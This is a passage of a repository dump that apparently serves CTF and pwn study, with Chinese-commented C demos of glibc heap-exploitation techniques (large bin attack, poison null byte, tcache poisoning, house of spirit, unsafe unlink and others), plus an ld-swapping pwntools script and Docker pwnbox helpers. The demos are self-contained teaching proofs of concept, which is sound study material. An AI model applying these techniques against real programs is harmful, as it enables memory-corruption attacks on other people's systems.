    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    size_t target = 0;\n    size_t target1 = 0;\n    size_t target2 = 0;\n    size_t target3 = 0;\n    size_t target4 = 0;\n    size_t target5 = 0;\n    size_t *p1 = malloc(0x428); // allocate large chunk\n    size_t *g1 = malloc(0x18); // prevent consolidate\n\n    size_t *p2 = malloc(0x418); // second large chunk，但是要小於第一塊的大小 && 屬於同個 large bin\n    size_t *g2 = malloc(0x18); // prevent consolidate\n\n    free(p1); // free 第一塊\n    size_t *g3 = malloc(0x438); // allocate 大於 p1 的 chunk，因此 p1 會進到 large bin\n\n    free(p2); // 目前在 unsorted bin\n\n    // ! vuln\n    // 篡改 largebin chunk 的 bk_nextsize 成 target - 0x20\n    p1[3] = (size_t)((&target) - 4);\n\n    /*\n    size: 0x420\n    chunksize_nomask (bck->bk): 0x430\n    bck: main_arena\n    bck->bk: p1\n\n    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n        fwd = bck; // fwd = main_arnea\n        bck = bck->bk; // bck == p1\n        victim->fd_nextsize = fwd->fd; // victim->fd_nextsize = p1\n        victim->bk_nextsize = fwd->fd->bk_nextsize; // victim->fd_nextsize = target - 0x20\n        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->bk_nextsize = target = victim\n    }\n    */\n    size_t *g4 = malloc(0x438); // allocate 大於 p2 的 chunk，因此 p2 會進到 large bin\n\n    assert((size_t)(p2 - 2) == target);\n    return 0;\n}"
  },
  {
    "path": "how2heap/ld_change.py",
    "content": "\"\"\"\ncopy from jwang-a/CTF/master/utils/Pwn/LD_CHANGER.py\n\"\"\"\n\n'''\nCopied and modified from https://www.cnblogs.com/0x636a/p/9157993.html\nAll credits ro original author\n'''\nfrom pwn import *\nimport sys, os\n\ndef change_ld(binary, ld):\n    \"\"\"\n    Force to use assigned new ld.so by changing the binary\n    \"\"\"\n    if not os.access(ld, os.R_OK): \n        log.failure(\"Invalid path {} to ld\".format(ld))\n        return None\n \n         \n    if not isinstance(binary, ELF):\n        if not os.access(binary, os.R_OK): \n            log.failure(\"Invalid path {} to binary\".format(binary))\n            return None\n        binary = ELF(binary)\n \n \n    for segment in binary.segments:\n        if segment.header['p_type'] == 'PT_INTERP':\n            size = segment.header['p_memsz']\n            addr = segment.header['p_paddr']\n            data = segment.data()\n            if size <= len(ld):\n                log.failure(\"Failed to change PT_INTERP from {} to {}\".format(data, ld))\n                return None\n            binary.write(addr, ld.encode().ljust(size, b'\\0'))\n            path = binary.path.split('/')[-1][0].upper()\n            if os.access(path, os.F_OK): \n                os.remove(path)\n                print(\"Removing exist file {}\".format(path))\n            binary.save(path)    \n            os.chmod(path, 0b111000000) #rwx------\n    print(\"PT_INTERP has changed from {} to {}. Using temp file {}\".format(data, ld, path)) \n    return\n\nif len(sys.argv)!=3:\n    print('Usage : python3 LD_PRELOAD.py [ld] [bin]')\nLD_PATH = sys.argv[1]\nBIN = sys.argv[2]\nchange_ld(BIN, LD_PATH)\n###Execute file by 'LD_PRELOAD={target_libc} ./executable'\n"
  },
  {
    "path": "how2heap/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\nint main()\n{\n\tsetvbuf(stdin, NULL, _IONBF, 0);\n\tsetvbuf(stdout, NULL, _IONBF, 0);\n\n    int *ptr1 = malloc(0x10);\n    long long *top_ptr = malloc(0x100000); // size: 0x101000\n    long long *mmap_chunk_2 = malloc(0x100000); // size: 0x101000\n    long long *mmap_chunk_3 = malloc(0x100000); // size: 0x101000\n    printf(\"\\nCurrent System Memory Layout \\n\"\n           \"================================================\\n\"\n           \"running program\\n\"\n           \"heap\\n\"\n           \"....\\n\"\n           \"third mmap chunk\\n\"\n           \"second mmap chunk\\n\"\n           \"first mmap chunk\\n\"\n           \"LibC\\n\"\n           \"ld\\n\"\n           \"===============================================\\n\\n\");\n\n\n    // ! vuln\n    // modified size: 0x202000\n    mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n    free(mmap_chunk_3);\n\n    // 因為 mmap.threshold 增加到 0x202000，因此要請求更大塊的記憶體空間\n    long long *overlapping_chunk = malloc(0x300000);\n    overlapping_chunk[mmap_chunk_2 - overlapping_chunk] = 0x1122334455667788;\n\n    // 新請求的 chunk 會與 mmap_chunk_2 (舊的 chunk) 重疊\n    assert(mmap_chunk_2[0] == overlapping_chunk[mmap_chunk_2 - overlapping_chunk]);\n}"
  },
  {
    "path": "how2heap/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n// 透過 off-by-one 蓋 prev_inuse bit，配合 fake chunk + consolidate 的機制製造出 chunk overlap\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    // padding address to 0xXXXXXXXX0000\n    void *tmp = malloc(0x1);\n    void *heap_base = (void *)((long)tmp & (~0xfff));\n    size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20;\n    void *padding = malloc(size);\n\n    // allocate 2 chunks\n    void *prev = malloc(0x500);\n    void *victim = malloc(0x4f0);\n    malloc(0x10); // avoid consolidation\n\n    void *a = malloc(0x4f0);\n    malloc(0x10); // avoid consolidation\n\n    void *b = malloc(0x510);\n    malloc(0x10); // avoid consolidation\n\n    free(a);\n    free(b);\n    free(prev);\n    // now a,b,prev are in unsorted bin\n    // we allocate a large chunk to make them go to largebin\n    malloc(0x1000);\n\n    void *prev2 = malloc(0x500);\n    assert(prev == prev2);\n\n    // create fake chunk\n    ((long *)prev2)[1] = 0x501;\n    *(long *)(prev2 + 0x500) = 0x500; // prev_size of next chunk\n\n    void *b2 = malloc(0x510); // get chunk b\n    assert(b == b2);\n\n    // 透過殘留的 pointer，讓 b2 的 fd 指向 fake chunk\n    ((char *)b2)[0] = '\\x10';\n    ((char *)b2)[1] = '\\x00';\n\n    void *a2 = malloc(0x4f0);\n    assert(a == a2);\n    free(a2);\n    free(victim); // make a2->bk == victim\n    \n    void *a3 = malloc(0x4f0); // 從 unsorted bin 取出，拿到先前的 a2\n    // 透過殘留的 pointer a3 的 bk 指向 fake chunk\n    ((char *)a3)[8] = '\\x10';\n    ((char *)a3)[9] = '\\x00';\n    assert(a == a2 && a2 == a3);\n    \n    // 從 unsorted bin 當中取得 victim\n    void *victim2 = malloc(0x4f0);\n    assert(victim == victim2);\n    // ! vuln\n    // 覆蓋 victim2 的 prev_inuse 成 0\n    ((char *)victim2)[-8] = '\\x00';\n\n    // trigger backward consolidation，使得 fake chunk 也被放到 unsorted bin 當中\n    free(victim);\n    void *merged = malloc(0x100);\n    memset(merged, 'A', 0x80);\n    memset(prev2, 'C', 0x80);\n\n    // 'prev2' 與剛建立的 'merged' 重疊\n    assert(strstr(merged, \"CCCCCCCCC\"));\n}"
  },
  {
    "path": "how2heap/safe_linking_demo.sh",
    "content": "#!/bin/bash\npython3 ld_change.py ld-2.32.so decrypt_safe_linking\ngdb ./D -ex \"set exec-wrapper env 'LD_PRELOAD=./libc-2.32.so'\"\n"
  },
  {
    "path": "how2heap/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n// 只要 data 視為 size 是合法的，在 stack 的 chunk 也能被放到 tcache 當中\nint main()\n{\n    setbuf(stdout, NULL);\n    malloc(1);\n    unsigned long long *a;\n    unsigned long long fake_chunks[10];\n\n    fake_chunks[1] = 0x40;\n    a = &fake_chunks[2];\n    // ! vuln\n    free(a);\n\n    void *b = malloc(0x30);\n    assert((long)b == (long)&fake_chunks[2]);\n}"
  },
  {
    "path": "how2heap/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    size_t stack_var;\n\n    intptr_t *a = malloc(128);\n    intptr_t *b = malloc(128);\n\n    free(a);\n    free(b);\n\n    b[0] = (intptr_t)&stack_var;\n    intptr_t *c = malloc(128);\n\n    assert((long)&stack_var == (long)c);\n    return 0;\n}"
  },
  {
    "path": "how2heap/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n// 又可稱作 smallbin stashing\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    for (int i = 0; i < 9; i++)\n        chunk_lis[i] = (unsigned long *)malloc(0x90);\n\n    // 填滿 tcache\n    for (int i = 3; i < 9; i++)\n        free(chunk_lis[i]);\n\n    // tcache 第一個 chunk\n    free(chunk_lis[1]);\n\n    // 下面兩塊會進 unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    // 因為 size > 0x90，所以會把 unsorted bin 的 chunk 放到 smallbin\n    malloc(0xa0);\n    // 從 tcache 拿兩塊\n    malloc(0x90);\n    malloc(0x90);\n\n    // 到此 heap 內會有 tcache 0xa0 * 5 以及 smallbin 0xa0 * 2\n\n    //change victim->bck\n    // ! vuln\n    chunk_lis[2][1] = (unsigned long)stack_var;\n\n    // calloc() 會從 smallbin 取出 chunk 回傳，而此時 glibc 發現 smallbin 裡面還有 chunk，\n    // 因此將 chunk_lis[2] 與 chunk_lis[2]->bk(也就是 stack_var) 放到 tcache 當中\n    calloc(1, 0x90);\n\n    // 取得存在於 stack 的記憶體空間\n    target = malloc(0x90);\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "how2heap/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\tsetvbuf(stdin, NULL, _IONBF, 0);\n\tsetvbuf(stdout, NULL, _IONBF, 0);\n\n\tuint64_t *chunk0_ptr = (uint64_t *)malloc(0x420);\n\tuint64_t *chunk1_ptr = (uint64_t *)malloc(0x420);\n\tuint64_t *chunk1_hdr = chunk1_ptr - 2;\n\n\t// create fake chunk\n\tchunk0_ptr[1] = 0x421; // 0x431 - 0x10\n\t// bypass the check: P->fd->bk != P || P->bk->fd != P\n\tchunk0_ptr[2] = (uint64_t)&chunk0_ptr - (sizeof(uint64_t) * 3);\n\tchunk0_ptr[3] = (uint64_t)&chunk0_ptr - (sizeof(uint64_t) * 2);\n\n\tchunk1_hdr[0] = 0x420; // fake prev_size\n\tchunk1_hdr[1] &= ~1; // unset prev_inuse bit\n\n\t// before: chunk0_ptr == 0x5555555592a0\n\t//         chunk0_ptr[0] == NULL\n\t//         chunk3_ptr[3] == 0x7fffffffe0d8\n\n\t// consolidate with top chunk\n\tfree(chunk1_ptr);\n\n\t// after: chunk0_ptr == 0x00007fffffffe0d0\n\t//        chunk0_ptr[0] == NULL\n\t//        chunk3_ptr[3] == 0x7fffffffe0d0\n\n\tchar victim_string[8]; // 0x7fffffffe100\n\tstrcpy(victim_string, \"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t)victim_string; // modify the pointer\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n"
  },
  {
    "path": "snippet",
    "content": "#!/bin/bash\n\nset -e\nif [ -z \"$1\" ]; then\n    echo \"Usage:\";\n    echo \"Build environment:  ./snippet build\";\n    echo \"Up pwnbox daemon:   ./snippet up\";\n    echo \"Get shell:          ./snippet shell\";\n    echo \"Down pwnbox daemon: ./snippet down\";\n    exit 0\nfi\n\nif [ $1 == \"build\" ]; then\n    mkdir pwnbox\n    docker build -t pwnbox .\nelif [ $1 == \"up\" ]; then\n    docker run -it -d --cap-add=SYS_PTRACE --name pwnbox -v `pwd`/pwnbox:/pwnbox pwnbox\nelif [ $1 == \"shell\" ]; then\n    docker exec -it pwnbox fish\nelif [ $1 == \"down\" ]; then\n    docker stop pwnbox\nfi"
  }
]